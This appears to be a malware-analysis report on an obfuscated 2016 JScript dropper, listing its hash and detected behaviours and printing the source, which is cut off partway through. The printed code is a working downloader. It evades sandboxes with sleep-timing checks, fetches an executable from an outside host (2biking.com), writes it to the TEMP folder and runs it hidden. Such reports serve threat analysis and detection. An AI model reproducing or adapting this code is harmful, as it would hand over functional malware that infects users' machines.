20160328_2fcc74e9c26bea9185e122d3053692e9.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25600dc6d12e83cc57e9eb3836b2620807990e7187f8d5c9f891132b4289f581dd6
Evidence
1var Srloejj = false;
2var Ieruw = "CreateObject";
3var Vztfrs = function Ovwvqjnhu() {return WScript[Ieruw]("WScript.Shell");}();
4var Aqoioi = 123213;
5var Zhzzhle = "MSXML2.XMLHTTP";
6var Hlzaoggo = 2123213;
7var Phzafhlaem = 0;
8function Yptxq(Votbgclj){Vztfrs["Run"](Votbgclj, Phzafhlaem, Phzafhlaem);};
9function Apgikjejcc(){return Zhzzhle;};
10function Rxteg(Abxrochhz, Vdryepryp){return Abxrochhz - Vdryepryp;};
11function Aesqxdz(){return Ieruw;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Srloejj = true;
15 @end
16@*/
17var Hhsarkc = "";
18if (Srloejj)
19{
20function Dcfvamlava(){return 22;};
21var Fyqwgjdx = 0; var Mcvhmg = 0;
22function Homyuix()
23{
24var Hpwndm = new this["Date"]();
25var Goxwrvz = Hpwndm["getUTCMilliseconds"]();
26WScript["Sleep"](Dcfvamlava());
27var Hpwndm = new this["Date"]();
28var Cukdpkjg = Hpwndm["getUTCMilliseconds"]();
29WScript["Sleep"](Dcfvamlava());
30var Hpwndm = new this["Date"]();
31var Nuvtjfiw = Hpwndm["getUTCMilliseconds"]();
32var Fyqwgjdx = "Nkhzmnild";
33Fyqwgjdx = Rxteg(Cukdpkjg, Goxwrvz);
34var Mcvhmg = "Qfmpyirjp";
35Mcvhmg = Rxteg(Nuvtjfiw, Cukdpkjg);
36Hhsarkc = "open";
37return Rxteg(Fyqwgjdx, Mcvhmg);
38}
39var Zirxflox = false;
40var Inlvsi = false;
41for (var Tsckvhobe = Phzafhlaem; Tsckvhobe < Dcfvamlava() * 1; Tsckvhobe++){if (Homyuix() != Phzafhla …
49:2… f (Zirxflox && Eglrh() && Inlvsi){
50function Jczgbwng() {return Vztfrs["ExpandEnvironmentStrings"]("%TEMP%/") + "5xAP71Gwh.exe";};
51 Dasshlaij = Apgikjejcc();
52 Odgpilfwsn = WScript[Ieruw](Dasshlaij);
53 var Ecsjcx = 1;
54 while (Ecsjcx){
55try {
56Odgpilfwsn[Hhsarkc]("GET", "http://2biking.com/k4isfa", false);
57Odgpilfwsn["send"]();
58Lleuz = "Sleep";
59do {WScript[Lleuz](Dcfvamlava() * 11)} while (Odgpilfwsn["readystate"] < 4 );
60Ecsjcx = Phzafhlaem;
61} catch(Uytmzt){Ecsjcx = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Wcvkxtrq(Enjlwj) {var Hikdmilza = (1, 2, 3, 4, 5, Enjlwj); return Hikdmilza;};
64Kpfisssfq = WScript[Aesqxdz()]("ADODB.Stream");
65Dasshlaij = Kpfisssfq;
66Dasshlaij[Hhsarkc]();
67Dasshlaij["type"] = Wcvkxtrq(1);
68Dasshlaij["write"](Odgpilfwsn["ResponseBody"]);
69Kpfisssfq["position"] = Wcvkxtrq(Phzafhlaem);
70Dasshlaij["SaveToFile"](Jczgbwng(), Wcvkxtrq(2) );
71Kpfisssfq["close"]();
72Yptxq(Jczgbwng());
73}
74}
75